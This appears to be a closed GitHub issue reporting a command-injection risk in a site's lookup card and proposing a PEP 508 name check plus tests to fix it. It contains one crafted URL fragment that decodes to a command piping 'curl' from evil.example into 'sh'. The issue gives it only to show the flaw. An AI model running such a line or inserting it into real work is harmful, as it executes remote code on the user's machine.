Skip to content

Lookup: don't put arbitrary text from the URL into the "isn't in the top 5,000" command #57

Closed

Description

@patrickballard

When a looked-up name isn't in the scan, the lookup card suggests uvx wheelgap <name> -t all, with <name> taken from the search box or the #package= URL fragment. It's HTML-escaped, but not checked as a package name, so a crafted link such as #package=foo%3B%20curl%20https%3A%2F%2Fevil.example%2Fx%20%7C%20sh%20%23 shows the copy-paste command uvx wheelgap foo; curl https://evil.example/x | sh # -t all on our site.

site/logic.js already refuses anything but one URL shape for the Pyodide lock "because it ends up in a copy-paste shell command". The not-found message needs the same care.

What to do

  • Add isPackageName() to site/logic.js with the PEP 508 name pattern, ^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$, case-insensitive.
  • In renderLookup (site/app.js), show the command only for a valid name; otherwise say "isn't a valid package name" in plain text.
  • Tests in tests/site/logic.test.js: valid names (numpy, zope.interface, A_b-c) pass; ;, spaces, |, backticks, $(…) and an empty string don't.

Activity

  1. added
    bug
    good first issue
    on Nov 13, 2026
  2. added a commit that references this issue on Nov 17, 2026
    92bf2e5
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    buggood first issue

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions